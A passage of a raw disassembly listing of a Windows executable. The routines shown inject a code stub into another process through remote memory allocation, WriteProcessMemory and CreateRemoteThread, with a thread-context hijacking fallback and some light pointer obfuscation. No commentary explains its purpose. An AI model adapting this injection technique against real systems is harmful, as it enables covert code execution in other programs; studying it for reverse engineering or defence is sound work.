.text:0040158A                 call    esi ; CloseHandle
.text:0040158C                 pop     edi
.text:0040158D                 pop     esi
.text:0040158E                 pop     ebp
.text:0040158F                 xor     al, al
.text:00401591                 pop     ebx
.text:00401592                 add     esp, 6C0h
.text:00401598                 retn
.text:00401599 ; ---------------------------------------------------------------------------
.text:00401599
.text:00401599 loc_401599:                             ; CODE XREF: sub_4014B0+8Fj
.text:00401599                                         ; sub_4014B0+C6j
.text:00401599                 mov     eax, [esp+6D0h+hProcess]
.text:0040159D                 push    40h
.text:0040159F                 push    1000h
.text:004015A4                 push    111h
.text:004015A9                 push    0
.text:004015AB                 push    eax
.text:004015AC                 call    dword_407A5C
.text:004015B2                 mov     ebp, eax
.text:004015B4                 test    ebp, ebp
.text:004015B6                 jz      short loc_401578
.text:004015B8                 mov     edx, dword_407A68
.text:004015BE                 lea     eax, [ebp+0Ah]
.text:004015C1                 sub     edx, eax
.text:004015C3                 mov     al, byte_407A30
.text:004015C8                 lea     ecx, [ebp+0Dh]
.text:004015CB                 mov     byte ptr [esp+24h], 68h
.text:004015D0                 test    al, al
.text:004015D2                 mov     [esp+25h], ecx
.text:004015D6                 mov     byte ptr [esp+29h], 0E8h
.text:004015DB                 mov     [esp+2Ah], edx
.text:004015DF                 jnz     short loc_4015F8
.text:004015E1                 mov     al, byte_407A31
.text:004015E6                 test    al, al
.text:004015E8                 jnz     short loc_4015F8
.text:004015EA                 mov     byte ptr [esp+2Eh], 0C2h
.text:004015EF                 mov     word ptr [esp+2Fh], 4
.text:004015F6                 jmp     short loc_401604
.text:004015F8 ; ---------------------------------------------------------------------------
.text:004015F8
.text:004015F8 loc_4015F8:                             ; CODE XREF: sub_4014B0+12Fj
.text:004015F8                                         ; sub_4014B0+138j
.text:004015F8                 mov     byte ptr [esp+2Eh], 0EBh
.text:004015FD                 mov     word ptr [esp+2Fh], 0FEh
.text:00401604
.text:00401604 loc_401604:                             ; CODE XREF: sub_4014B0+146j
.text:00401604                 or      ecx, 0FFFFFFFFh
.text:00401607                 xor     eax, eax
.text:00401609                 repne scasb
.text:0040160B                 not     ecx
.text:0040160D                 sub     edi, ecx
.text:0040160F                 lea     edx, [esp+31h]
.text:00401613                 mov     eax, ecx
.text:00401615                 mov     esi, edi
.text:00401617                 mov     edi, edx
.text:00401619                 mov     edx, [esp+6D0h+hProcess]
.text:0040161D                 shr     ecx, 2
.text:00401620                 rep movsd
.text:00401622                 mov     ecx, eax
.text:00401624                 push    0               ; lpNumberOfBytesWritten
.text:00401626                 and     ecx, 3
.text:00401629                 push    111h            ; nSize
.text:0040162E                 rep movsb
.text:00401630                 lea     ecx, [esp+2Ch]
.text:00401634                 push    ecx             ; lpBuffer
.text:00401635                 push    ebp             ; lpBaseAddress
.text:00401636                 push    edx             ; hProcess
.text:00401637                 call    ds:WriteProcessMemory
.text:0040163D                 test    eax, eax
.text:0040163F                 jz      loc_40179F
.text:00401645                 mov     al, byte_407A30
.text:0040164A                 test    al, al
.text:0040164C                 jnz     loc_40170E
.text:00401652                 mov     al, byte_407A31
.text:00401657                 test    al, al
.text:00401659                 jnz     loc_40170E
.text:0040165F                 mov     eax, [esp+6D0h+hProcess]
.text:00401663                 push    0               ; lpThreadId
.text:00401665                 push    0               ; dwCreationFlags
.text:00401667                 push    0               ; lpParameter
.text:00401669                 push    ebp             ; lpStartAddress
.text:0040166A                 push    0               ; dwStackSize
.text:0040166C                 push    0               ; lpThreadAttributes
.text:0040166E                 push    eax             ; hProcess
.text:0040166F                 call    ds:CreateRemoteThread
.text:00401675                 mov     esi, eax
.text:00401677                 test    esi, esi
.text:00401679                 jnz     short loc_4016B2
.text:0040167B                 mov     ecx, [esp+6D0h+hProcess]
.text:0040167F                 push    4000h
.text:00401684                 push    111h
.text:00401689                 push    ebp
.text:0040168A                 push    ecx
.text:0040168B                 call    dword_407A60
.text:00401691                 mov     edx, [esp+6D0h+hObject]
.text:00401695                 mov     esi, ds:CloseHandle
.text:0040169B                 push    edx             ; hObject
.text:0040169C                 call    esi ; CloseHandle
.text:0040169E                 mov     eax, [esp+6D0h+hProcess]
.text:004016A2                 push    eax             ; hObject
.text:004016A3                 call    esi ; CloseHandle
.text:004016A5                 pop     edi
.text:004016A6                 pop     esi
.text:004016A7                 pop     ebp
.text:004016A8                 xor     al, al
.text:004016AA                 pop     ebx
.text:004016AB                 add     esp, 6C0h
.text:004016B1                 retn
.text:004016B2 ; ---------------------------------------------------------------------------
.text:004016B2
.text:004016B2 loc_4016B2:                             ; CODE XREF: sub_4014B0+1C9j
.text:004016B2                 push    0FFFFFFFFh      ; dwMilliseconds
.text:004016B4                 push    esi             ; hHandle
.text:004016B5                 call    ds:WaitForSingleObject
.text:004016BB                 lea     ecx, [esp+6D0h+ExitCode+3]
.text:004016BF                 push    ecx             ; lpExitCode
.text:004016C0                 push    esi             ; hThread
.text:004016C1                 call    ds:GetExitCodeThread
.text:004016C7                 test    eax, eax
.text:004016C9                 jz      short loc_4016D7
.text:004016CB                 mov     eax, [esp+6D0h+ExitCode+3]
.text:004016CF                 test    eax, eax
.text:004016D1                 jnz     loc_401947
.text:004016D7
.text:004016D7 loc_4016D7:                             ; CODE XREF: sub_4014B0+219j
.text:004016D7                                         ; sub_4014B0+270j ...
.text:004016D7                 mov     edx, [esp+6D0h+hProcess]
.text:004016DB                 push    4000h
.text:004016E0                 push    111h
.text:004016E5                 push    ebp
.text:004016E6                 push    edx
.text:004016E7                 call    dword_407A60
.text:004016ED                 mov     eax, [esp+6D0h+hObject]
.text:004016F1                 mov     esi, ds:CloseHandle
.text:004016F7                 push    eax             ; hObject
.text:004016F8                 call    esi ; CloseHandle
.text:004016FA                 mov     ecx, [esp+6D0h+hProcess]
.text:004016FE                 push    ecx             ; hObject
.text:004016FF                 call    esi ; CloseHandle
.text:00401701
.text:00401701 loc_401701:                             ; CODE XREF: sub_4014B0+27j
.text:00401701                                         ; sub_4014B0+4Aj ...
.text:00401701                 pop     edi
.text:00401702                 pop     esi
.text:00401703                 pop     ebp
.text:00401704                 xor     al, al
.text:00401706                 pop     ebx
.text:00401707                 add     esp, 6C0h
.text:0040170D                 retn
.text:0040170E ; ---------------------------------------------------------------------------
.text:0040170E
.text:0040170E loc_40170E:                             ; CODE XREF: sub_4014B0+19Cj
.text:0040170E                                         ; sub_4014B0+1A9j
.text:0040170E                 push    0
.text:00401710                 push    offset LibFileName ; "kernel32.dll"
.text:00401715                 push    ebx
.text:00401716                 call    sub_401380
.text:0040171B                 add     esp, 0Ch
.text:0040171E                 test    al, al
.text:00401720                 jz      short loc_4016D7
.text:00401722                 push    32h             ; dwMilliseconds
.text:00401724                 call    ds:Sleep
.text:0040172A                 mov     edx, [esp+6D0h+hObject]
.text:0040172E                 push    edx             ; hThread
.text:0040172F                 call    ds:SuspendThread
.text:00401735                 cmp     eax, 0FFFFFFFFh
.text:00401738                 jz      short loc_401701
.text:0040173A                 mov     ecx, [esp+6D0h+hObject]
.text:0040173E                 lea     eax, [esp+404h]
.text:00401745                 push    eax             ; lpContext
.text:00401746                 push    ecx             ; hThread
.text:00401747                 mov     ebx, 1
.text:0040174C                 mov     dword ptr [esp+40Ch], 10007h
.text:00401757                 call    ds:GetThreadContext
.text:0040175D                 test    eax, eax
.text:0040175F                 jz      short loc_401794
.text:00401761                 mov     ecx, 0B3h
.text:00401766                 lea     esi, [esp+404h]
.text:0040176D                 lea     edi, [esp+138h]
.text:00401774                 lea     eax, [esp+138h]
.text:0040177B                 rep movsd
.text:0040177D                 mov     ecx, [esp+6D0h+hObject]
.text:00401781                 push    eax             ; lpContext
.text:00401782                 push    ecx             ; hThread
.text:00401783                 mov     [esp+1F8h], ebp
.text:0040178A                 call    ds:SetThreadContext
.text:00401790                 test    eax, eax
.text:00401792                 jnz     short loc_4017BA
.text:00401794
.text:00401794 loc_401794:                             ; CODE XREF: sub_4014B0+2AFj
.text:00401794                 mov     edx, [esp+6D0h+hObject]
.text:00401798                 push    edx             ; hThread
.text:00401799                 call    ds:ResumeThread
.text:0040179F
.text:0040179F loc_40179F:                             ; CODE XREF: sub_4014B0+18Fj
.text:0040179F                 mov     eax, [esp+6D0h+hProcess]
.text:004017A3                 push    4000h
.text:004017A8                 push    111h
.text:004017AD                 push    ebp
.text:004017AE                 push    eax
.text:004017AF                 call    dword_407A60
.text:004017B5                 jmp     loc_401578
.text:004017BA ; ---------------------------------------------------------------------------
.text:004017BA
.text:004017BA loc_4017BA:                             ; CODE XREF: sub_4014B0+2E2j
.text:004017BA                 mov     ecx, [esp+1F0h]
.text:004017C1                 mov     esi, ds:ResumeThread
.text:004017C7                 lea     eax, [ebp+0Ah]
.text:004017CA                 cmp     ecx, eax
.text:004017CC                 jz      short loc_401831
.text:004017CE
.text:004017CE loc_4017CE:                             ; CODE XREF: sub_4014B0+330j
.text:004017CE                                         ; sub_4014B0+338j ...
.text:004017CE                 mov     eax, [esp+6D0h+hObject]
.text:004017D2                 push    eax             ; hThread
.text:004017D3                 call    esi ; ResumeThread
.text:004017D5                 cmp     eax, 1
.text:004017D8                 jbe     short loc_4017EA
.text:004017DA                 cmp     eax, 0FFFFFFFFh
.text:004017DD                 jnb     short loc_4017E2
.text:004017DF                 dec     ebx
.text:004017E0                 jmp     short loc_4017CE
.text:004017E2 ; ---------------------------------------------------------------------------
.text:004017E2
.text:004017E2 loc_4017E2:                             ; CODE XREF: sub_4014B0+32Dj
.text:004017E2                 jz      loc_401871
.text:004017E8                 jmp     short loc_4017CE
.text:004017EA ; ---------------------------------------------------------------------------
.text:004017EA
.text:004017EA loc_4017EA:                             ; CODE XREF: sub_4014B0+328j
.text:004017EA                 jnz     short loc_4017ED
.text:004017EC                 dec     ebx
.text:004017ED
.text:004017ED loc_4017ED:                             ; CODE XREF: sub_4014B0:loc_4017EAj
.text:004017ED                 push    32h             ; dwMilliseconds
.text:004017EF                 call    ds:Sleep
.text:004017F5                 mov     ecx, [esp+6D0h+hObject]
.text:004017F9                 mov     edi, ds:SuspendThread
.text:004017FF                 push    ecx             ; hThread
.text:00401800                 call    edi ; SuspendThread
.text:00401802                 cmp     eax, 0FFFFFFFFh
.text:00401805                 jz      short loc_401871
.text:00401807                 mov     eax, [esp+6D0h+hObject]
.text:0040180B                 lea     edx, [esp+138h]
.text:00401812                 push    edx             ; lpContext
.text:00401813                 push    eax             ; hThread
.text:00401814                 inc     ebx
.text:00401815                 call    ds:GetThreadContext
.text:0040181B                 test    eax, eax
.text:0040181D                 jz      loc_4018A8
.text:00401823                 mov     ecx, [esp+1F0h]
.text:0040182A                 lea     eax, [ebp+0Ah]
.text:0040182D                 cmp     ecx, eax
.text:0040182F                 jnz     short loc_4017CE
.text:00401831
.text:00401831 loc_401831:                             ; CODE XREF: sub_4014B0+31Cj
.text:00401831                 mov     eax, [esp+6D0h+hObject]
.text:00401835                 lea     edx, [esp+404h]
.text:0040183C                 push    edx             ; lpContext
.text:0040183D                 push    eax             ; hThread
.text:0040183E                 call    ds:SetThreadContext
.text:00401844                 test    eax, eax
.text:00401846                 jnz     loc_401913
.text:0040184C                 test    ebx, ebx
.text:0040184E                 jle     loc_4018EC
.text:00401854                 dec     ebx
.text:00401855
.text:00401855 loc_401855:                             ; CODE XREF: sub_4014B0+3BAj
.text:00401855                 mov     ecx, [esp+6D0h+hObject]
.text:00401859                 push    ecx             ; hThread
.text:0040185A                 call    esi ; ResumeThread
.text:0040185C                 cmp     eax, 0FFFFFFFFh
.text:0040185F                 jz      loc_4016D7
.text:00401865                 mov     edx, ebx
.text:00401867                 dec     ebx
.text:00401868                 test    edx, edx
.text:0040186A                 jg      short loc_401855
.text:0040186C                 jmp     loc_4016D7
.text:00401871 ; ---------------------------------------------------------------------------
.text:00401871
.text:00401871 loc_401871:                             ; CODE XREF: sub_4014B0:loc_4017E2j
.text:00401871                                         ; sub_4014B0+355j
.text:00401871                 mov     ecx, [esp+6D0h+hProcess]
.text:00401875                 push    4000h
.text:0040187A                 push    111h
.text:0040187F                 push    ebp
.text:00401880                 push    ecx
.text:00401881                 call    dword_407A60
.text:00401887                 mov     edx, [esp+6D0h+hObject]
.text:0040188B                 mov     esi, ds:CloseHandle
.text:00401891                 push    edx             ; hObject
.text:00401892                 call    esi ; CloseHandle
.text:00401894                 mov     eax, [esp+6D0h+hProcess]
.text:00401898                 push    eax             ; hObject
.text:00401899                 call    esi ; CloseHandle
.text:0040189B                 pop     edi
.text:0040189C                 pop     esi
.text:0040189D                 pop     ebp
.text:0040189E                 xor     al, al
.text:004018A0                 pop     ebx
.text:004018A1                 add     esp, 6C0h
.text:004018A7                 retn
.text:004018A8 ; ---------------------------------------------------------------------------
.text:004018A8
.text:004018A8 loc_4018A8:                             ; CODE XREF: sub_4014B0+36Dj
.text:004018A8                 test    ebx, ebx
.text:004018AA                 jle     short loc_4018C9
.text:004018AC                 dec     ebx
.text:004018AD
.text:004018AD loc_4018AD:                             ; CODE XREF: sub_4014B0+412j
.text:004018AD                 mov     ecx, [esp+6D0h+hObject]
.text:004018B1                 push    ecx             ; hObject
.text:004018B2                 call    esi ; CloseHandle
.text:004018B4                 cmp     eax, 0FFFFFFFFh
.text:004018B7                 jz      loc_4016D7
.text:004018BD                 mov     edx, ebx
.text:004018BF                 dec     ebx
.text:004018C0                 test    edx, edx
.text:004018C2                 jg      short loc_4018AD
.text:004018C4                 jmp     loc_4016D7
.text:004018C9 ; ---------------------------------------------------------------------------
.text:004018C9
.text:004018C9 loc_4018C9:                             ; CODE XREF: sub_4014B0+3FAj
.text:004018C9                 jge     loc_4016D7
.text:004018CF                 inc     ebx
.text:004018D0
.text:004018D0 loc_4018D0:                             ; CODE XREF: sub_4014B0+435j
.text:004018D0                 mov     eax, [esp+6D0h+hObject]
.text:004018D4                 push    eax             ; hThread
.text:004018D5                 call    edi ; SuspendThread
.text:004018D7                 cmp     eax, 0FFFFFFFFh
.text:004018DA                 jz      loc_4016D7
.text:004018E0                 mov     ecx, ebx
.text:004018E2                 inc     ebx
.text:004018E3                 test    ecx, ecx
.text:004018E5                 jl      short loc_4018D0
.text:004018E7                 jmp     loc_4016D7
.text:004018EC ; ---------------------------------------------------------------------------
.text:004018EC
.text:004018EC loc_4018EC:                             ; CODE XREF: sub_4014B0+39Ej
.text:004018EC                 jge     loc_4016D7
.text:004018F2                 inc     ebx
.text:004018F3
.text:004018F3 loc_4018F3:                             ; CODE XREF: sub_4014B0+45Cj
.text:004018F3                 mov     eax, [esp+6D0h+hObject]
.text:004018F7                 push    eax             ; hThread
.text:004018F8                 call    ds:SuspendThread
.text:004018FE                 cmp     eax, 0FFFFFFFFh
.text:00401901                 jz      loc_4016D7
.text:00401907                 mov     ecx, ebx
.text:00401909                 inc     ebx
.text:0040190A                 test    ecx, ecx
.text:0040190C                 jl      short loc_4018F3
.text:0040190E                 jmp     loc_4016D7
.text:00401913 ; ---------------------------------------------------------------------------
.text:00401913
.text:00401913 loc_401913:                             ; CODE XREF: sub_4014B0+396j
.text:00401913                 test    ebx, ebx
.text:00401915                 jle     short loc_40192D
.text:00401917                 dec     ebx
.text:00401918
.text:00401918 loc_401918:                             ; CODE XREF: sub_4014B0+479j
.text:00401918                 mov     edx, [esp+6D0h+hObject]
.text:0040191C                 push    edx             ; hObject
.text:0040191D                 call    esi ; CloseHandle
.text:0040191F                 cmp     eax, 0FFFFFFFFh
.text:00401922                 jz      short loc_401947
.text:00401924                 mov     eax, ebx
.text:00401926                 dec     ebx
.text:00401927                 test    eax, eax
.text:00401929                 jg      short loc_401918
.text:0040192B                 jmp     short loc_401947
.text:0040192D ; ---------------------------------------------------------------------------
.text:0040192D
.text:0040192D loc_40192D:                             ; CODE XREF: sub_4014B0+465j
.text:0040192D                 jge     short loc_401947
.text:0040192F                 inc     ebx
.text:00401930
.text:00401930 loc_401930:                             ; CODE XREF: sub_4014B0+495j
.text:00401930                 mov     ecx, [esp+6D0h+hObject]
.text:00401934                 push    ecx             ; hThread
.text:00401935                 call    ds:SuspendThread
.text:0040193B                 cmp     eax, 0FFFFFFFFh
.text:0040193E                 jz      short loc_401947
.text:00401940                 mov     edx, ebx
.text:00401942                 inc     ebx
.text:00401943                 test    edx, edx
.text:00401945                 jl      short loc_401930
.text:00401947
.text:00401947 loc_401947:                             ; CODE XREF: sub_4014B0+221j
.text:00401947                                         ; sub_4014B0+472j ...
.text:00401947                 mov     eax, [esp+6D0h+hProcess]
.text:0040194B                 push    4000h
.text:00401950                 push    111h
.text:00401955                 push    ebp
.text:00401956                 push    eax
.text:00401957                 call    dword_407A60
.text:0040195D                 mov     ecx, [esp+6D0h+hObject]
.text:00401961                 mov     esi, ds:CloseHandle
.text:00401967                 push    ecx             ; hObject
.text:00401968                 call    esi ; CloseHandle
.text:0040196A                 mov     edx, [esp+6D0h+hProcess]
.text:0040196E                 push    edx             ; hObject
.text:0040196F                 call    esi ; CloseHandle
.text:00401971
.text:00401971 loc_401971:                             ; CODE XREF: sub_4014B0+6Cj
.text:00401971                 pop     edi
.text:00401972                 pop     esi
.text:00401973                 pop     ebp
.text:00401974                 mov     al, 1
.text:00401976                 pop     ebx
.text:00401977                 add     esp, 6C0h
.text:0040197D                 retn
.text:0040197D sub_4014B0      endp
.text:0040197D
.text:0040197D ; ---------------------------------------------------------------------------
.text:0040197E                 align 10h
.text:00401980
.text:00401980 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401980
.text:00401980 ; Attributes: bp-based frame
.text:00401980
.text:00401980 sub_401980      proc near               ; DATA XREF: sub_401080+C9o
.text:00401980
.text:00401980 var_C           = dword ptr -0Ch
.text:00401980 var_8           = dword ptr -8
.text:00401980 var_4           = dword ptr -4
.text:00401980 arg_0           = dword ptr  8
.text:00401980 arg_4           = dword ptr  0Ch
.text:00401980 arg_8           = dword ptr  10h
.text:00401980
.text:00401980                 push    ebp
.text:00401981                 mov     ebp, esp
.text:00401983                 sub     esp, 0Ch
.text:00401986                 push    esi
.text:00401987                 call    ds:GetCurrentProcessId
.text:0040198D                 mov     [ebp+var_4], eax
.text:00401990                 mov     eax, large fs:30h
.text:00401996                 xor     eax, [ebp+var_4]
.text:00401999                 mov     [ebp+var_8], eax
.text:0040199C                 mov     esi, [ebp+var_8]
.text:0040199F                 mov     ecx, [ebp+arg_8]
.text:004019A2                 xor     esi, ecx
.text:004019A4                 push    4               ; ucb
.text:004019A6                 push    esi             ; lp
.text:004019A7                 mov     [ebp+var_4], esi
.text:004019AA                 call    ds:IsBadReadPtr
.text:004019B0                 test    eax, eax
.text:004019B2                 jnz     short loc_4019FE
.text:004019B4                 mov     eax, [esi]
.text:004019B6                 and     eax, 7
.text:004019B9                 cmp     al, 7
.text:004019BB                 jnz     short loc_4019FE
.text:004019BD                 mov     ecx, ds:OpenProcess
.text:004019C3                 push    offset aXxxxx   ; "xxxxx"
.text:004019C8                 push    offset asc_407104 ; "¦"
.text:004019CD                 push    0FFh
.text:004019D2                 push    ecx
.text:004019D3                 call    sub_401AA0
.text:004019D8                 add     esp, 10h
.text:004019DB                 mov     [ebp+var_8], eax
.text:004019DE                 test    eax, eax
.text:004019E0                 jz      short loc_4019FE
.text:004019E2                 mov     eax, [ebp+var_4]
.text:004019E5                 push    [ebp+arg_8]
.text:004019E8                 push    [ebp+arg_4]
.text:004019EB                 push    [ebp+arg_0]
.text:004019EE                 call    [ebp+var_8]
.text:004019F1                 mov     [ebp+var_C], eax
.text:004019F4                 mov     eax, [ebp+var_C]
.text:004019F7                 pop     esi
.text:004019F8                 mov     esp, ebp
.text:004019FA                 pop     ebp
.text:004019FB                 retn    0Ch
.text:004019FE ; ---------------------------------------------------------------------------
.text:004019FE
.text:004019FE loc_4019FE:                             ; CODE XREF: sub_401980+32j
.text:004019FE                                         ; sub_401980+3Bj ...
.text:004019FE                 xor     eax, eax
.text:00401A00                 pop     esi
.text:00401A01                 mov     esp, ebp
.text:00401A03                 pop     ebp
.text:00401A04                 retn    0Ch
.text:00401A04 sub_401980      endp
.text:00401A04
.text:00401A04 ; ---------------------------------------------------------------------------
.text:00401A07                 align 10h
.text:00401A10
.text:00401A10 loc_401A10:                             ; DATA XREF: sub_401080:loc_40115Ao
.text:00401A10                 push    offset LibFileName ; "kernel32.dll"
.text:00401A15                 call    ds:GetModuleHandleA
.text:00401A1B                 test    eax, eax
.text:00401A1D                 jnz     short loc_401A2A
.text:00401A1F                 push    offset LibFileName ; "kernel32.dll"
.text:00401A24                 call    ds:LoadLibraryA
.text:00401A2A
.text:00401A2A loc_401A2A:                             ; CODE XREF: .text:00401A1Dj
.text:00401A2A                 push    offset aVirtualalloc ; "VirtualAlloc"
.text:00401A2F                 push    eax
.text:00401A30                 call    ds:GetProcAddress
.text:00401A36                 mov     edx, [esp+10h]
.text:00401A3A                 mov     ecx, [esp+14h]
.text:00401A3E                 or      edx, 8000000h
.text:00401A44                 push    ecx
.text:00401A45                 mov     ecx, [esp+10h]
.text:00401A49                 push    edx
.text:00401A4A                 mov     edx, [esp+10h]
.text:00401A4E                 push    ecx
.text:00401A4F                 push    edx
.text:00401A50                 call    eax
.text:00401A52                 retn    14h
.text:00401A52 ; ---------------------------------------------------------------------------
.text:00401A55                 align 10h
.text:00401A60
.text:00401A60 loc_401A60:                             ; DATA XREF: sub_401080+E1o
.text:00401A60                 push    offset LibFileName ; "kernel32.dll"
.text:00401A65                 call    ds:GetModuleHandleA
.text:00401A6B                 test    eax, eax
.text:00401A6D                 jnz     short loc_401A7A
.text:00401A6F                 push    offset LibFileName ; "kernel32.dll"
.text:00401A74                 call    ds:LoadLibraryA
.text:00401A7A
.text:00401A7A loc_401A7A:                             ; CODE XREF: .text:00401A6Dj
.text:00401A7A                 push    offset aVirtualfree ; "VirtualFree"
.text:00401A7F                 push    eax
.text:00401A80                 call    ds:GetProcAddress
.text:00401A86                 mov     ecx, [esp+10h]
.text:00401A8A                 mov     edx, [esp+0Ch]
.text:00401A8E                 push    ecx
.text:00401A8F                 mov     ecx, [esp+0Ch]
.text:00401A93                 push    edx
.text:00401A94                 push    ecx
.text:00401A95                 call    eax
.text:00401A97                 retn    10h
.text:00401A97 ; ---------------------------------------------------------------------------
.text:00401A9A                 align 10h
.text:00401AA0
.text:00401AA0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401AA0
.text:00401AA0
.text:00401AA0 sub_401AA0      proc near               ; CODE XREF: sub_401980+53p
.text:00401AA0
.text:00401AA0 arg_0           = dword ptr  4
.text:00401AA0 arg_4           = dword ptr  8
.text:00401AA0 arg_8           = dword ptr  0Ch
.text:00401AA0 arg_C           = dword ptr  10h
.text:00401AA0
.text:00401AA0                 mov     eax, [esp+arg_4]
.text:00401AA4                 push    ebx
.text:00401AA5                 push    ebp
.text:00401AA6                 xor     ebp, ebp
.text:00401AA8                 push    esi
.text:00401AA9                 push    edi
.text:00401AAA                 test    eax, eax
.text:00401AAC                 jbe     short loc_401AED
.text:00401AAE                 mov     esi, [esp+10h+arg_C]
.text:00401AB2                 mov     ebx, [esp+10h+arg_0]
.text:00401AB6
.text:00401AB6 loc_401AB6:                             ; CODE XREF: sub_401AA0+4Bj
.text:00401AB6                 mov     cl, [esi]
.text:00401AB8                 mov     eax, esi
.text:00401ABA                 test    cl, cl
.text:00401ABC                 jz      short loc_401ADF
.text:00401ABE                 mov     edx, [esp+10h+arg_8]
.text:00401AC2                 mov     edi, ebp
.text:00401AC4                 sub     edi, esi
.text:00401AC6                 sub     edx, esi
.text:00401AC8                 add     edi, ebx
.text:00401ACA
.text:00401ACA loc_401ACA:                             ; CODE XREF: sub_401AA0+3Dj
.text:00401ACA                 cmp     cl, 78h
.text:00401ACD                 jnz     short loc_401AD7
.text:00401ACF                 mov     cl, [edi+eax]
.text:00401AD2                 cmp     cl, [edx+eax]
.text:00401AD5                 jnz     short loc_401ADF
.text:00401AD7
.text:00401AD7 loc_401AD7:                             ; CODE XREF: sub_401AA0+2Dj
.text:00401AD7                 mov     cl, [eax+1]
.text:00401ADA                 inc     eax
.text:00401ADB                 test    cl, cl
.text:00401ADD                 jnz     short loc_401ACA
.text:00401ADF
.text:00401ADF loc_401ADF:                             ; CODE XREF: sub_401AA0+1Cj
.text:00401ADF                                         ; sub_401AA0+35j
.text:00401ADF                 cmp     byte ptr [eax], 0
.text:00401AE2                 jz      short loc_401AF4
.text:00401AE4                 mov     eax, [esp+10h+arg_4]
.text:00401AE8                 inc     ebp
.text:00401AE9                 cmp     ebp, eax
.text:00401AEB                 jb      short loc_401AB6
.text:00401AED
.text:00401AED loc_401AED:                             ; CODE XREF: sub_401AA0+Cj
.text:00401AED                 pop     edi
.text:00401AEE                 pop     esi
.text:00401AEF                 pop     ebp
.text:00401AF0                 xor     eax, eax
.text:00401AF2                 pop     ebx
.text:00401AF3                 retn
.text:00401AF4 ; ---------------------------------------------------------------------------
.text:00401AF4
.text:00401AF4 loc_401AF4:                             ; CODE XREF: sub_401AA0+42j
.text:00401AF4                 pop     edi
.text:00401AF5                 lea     eax, [ebx+ebp]
.text:00401AF8                 pop     esi
.text:00401AF9                 pop     ebp
.text:00401AFA                 pop     ebx
.text:00401AFB                 retn
.text:00401AFB sub_401AA0      endp
.text:00401AFB
.text:00401AFB ; ---------------------------------------------------------------------------
.text:00401AFC                 align 10h
.text:00401B00
.text:00401B00 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401B00
.text:00401B00
.text:00401B00 sub_401B00      proc near               ; CODE XREF: sub_4011D0+7Dp
.text:00401B00                                         ; sub_4011D0+9Fp ...
.text:00401B00
.text:00401B00 arg_0           = dword ptr  4
.text:00401B00 arg_4           = dword ptr  8
.text:00401B00
.text:00401B00                 mov     eax, [esp+arg_0]
.text:00401B04                 push    ebx
.text:00401B05                 push    esi
.text:00401B06                 push    edi
.text:00401B07                 mov     cl, [eax]
.text:00401B09                 mov     edi, eax
.text:00401B0B                 test    cl, cl
.text:00401B0D                 jz      short loc_401B1F
.text:00401B0F
.text:00401B0F loc_401B0F:                             ; CODE XREF: sub_401B00+1Dj
.text:00401B0F                 cmp     cl, 5Ch
.text:00401B12                 jnz     short loc_401B17
.text:00401B14                 lea     edi, [eax+1]
.text:00401B17
.text:00401B17 loc_401B17:                             ; CODE XREF: sub_401B00+12j
.text:00401B17                 mov     cl, [eax+1]
.text:00401B1A                 inc     eax
.text:00401B1B                 test    cl, cl
.text:00401B1D                 jnz     short loc_401B0F
.text:00401B1F
.text:00401B1F loc_401B1F:                             ; CODE XREF: sub_401B00+Dj
.text:00401B1F                 mov     eax, [esp+0Ch+arg_4]
.text:00401B23                 mov     esi, eax
.text:00401B25                 mov     cl, [eax]
.text:00401B27                 test    cl, cl
.text:00401B29                 jz      short loc_401B3B
.text:00401B2B
.text:00401B2B loc_401B2B:                             ; CODE XREF: sub_401B00+39j
.text:00401B2B                 cmp     cl, 5Ch
.text:00401B2E                 jnz     short loc_401B33
.text:00401B30                 lea     esi, [eax+1]
.text:00401B33
.text:00401B33 loc_401B33:                             ; CODE XREF: sub_401B00+2Ej
.text:00401B33                 mov     cl, [eax+1]
.text:00401B36                 inc     eax
.text:00401B37                 test    cl, cl
.text:00401B39                 jnz     short loc_401B2B
.text:00401B3B
.text:00401B3B loc_401B3B:                             ; CODE XREF: sub_401B00+29j
.text:00401B3B                 cmp     byte ptr [edi], 0
.text:00401B3E                 jz      short loc_401B6A
.text:00401B40
.text:00401B40 loc_401B40:                             ; CODE XREF: sub_401B00+68j
.text:00401B40                 mov     al, [esi]
.text:00401B42                 test    al, al
.text:00401B44                 jz      short loc_401B6A
.text:00401B46                 movsx   eax, al
.text:00401B49                 push    eax             ; int
.text:00401B4A                 call    _tolower
.text:00401B4F                 movsx   ecx, byte ptr [edi]
.text:00401B52                 push    ecx             ; int
.text:00401B53                 mov     ebx, eax
.text:00401B55                 call    _tolower
.text:00401B5A                 add     esp, 8
.text:00401B5D                 cmp     eax, ebx
.text:00401B5F                 jnz     short loc_401B77
.text:00401B61                 mov     al, [edi+1]
.text:00401B64                 inc     edi
.text:00401B65                 inc     esi
.text:00401B66                 test    al, al
.text:00401B68                 jnz     short loc_401B40
.text:00401B6A
.text:00401B6A loc_401B6A:                             ; CODE XREF: sub_401B00+3Ej
.text:00401B6A                                         ; sub_401B00+44j
.text:00401B6A                 mov     cl, [esi]
.text:00401B6C                 xor     eax, eax
.text:00401B6E                 test    cl, cl
.text:00401B70                 pop     edi
.text:00401B71                 pop     esi
.text:00401B72                 setz    al
.text:00401B75                 pop     ebx
.text:00401B76                 retn
.text:00401B77 ; ---------------------------------------------------------------------------
.text:00401B77
.text:00401B77 loc_401B77:                             ; CODE XREF: sub_401B00+5Fj
.text:00401B77                 pop     edi
.text:00401B78                 pop     esi
.text:00401B79                 xor     al, al
.text:00401B7B                 pop     ebx
.text:00401B7C                 retn
.text:00401B7C sub_401B00      endp
.text:00401B7C
.text:00401B7C ; ---------------------------------------------------------------------------
.text:00401B7D                 align 10h
.text:00401B80                 jmp     loc_401B90
.text:00401B80 ; ---------------------------------------------------------------------------
.text:00401B85                 align 10h
.text:00401B90
.text:00401B90 loc_401B90:                             ; CODE XREF: .text:00401B80j
.text:00401B90                 push    5Ch
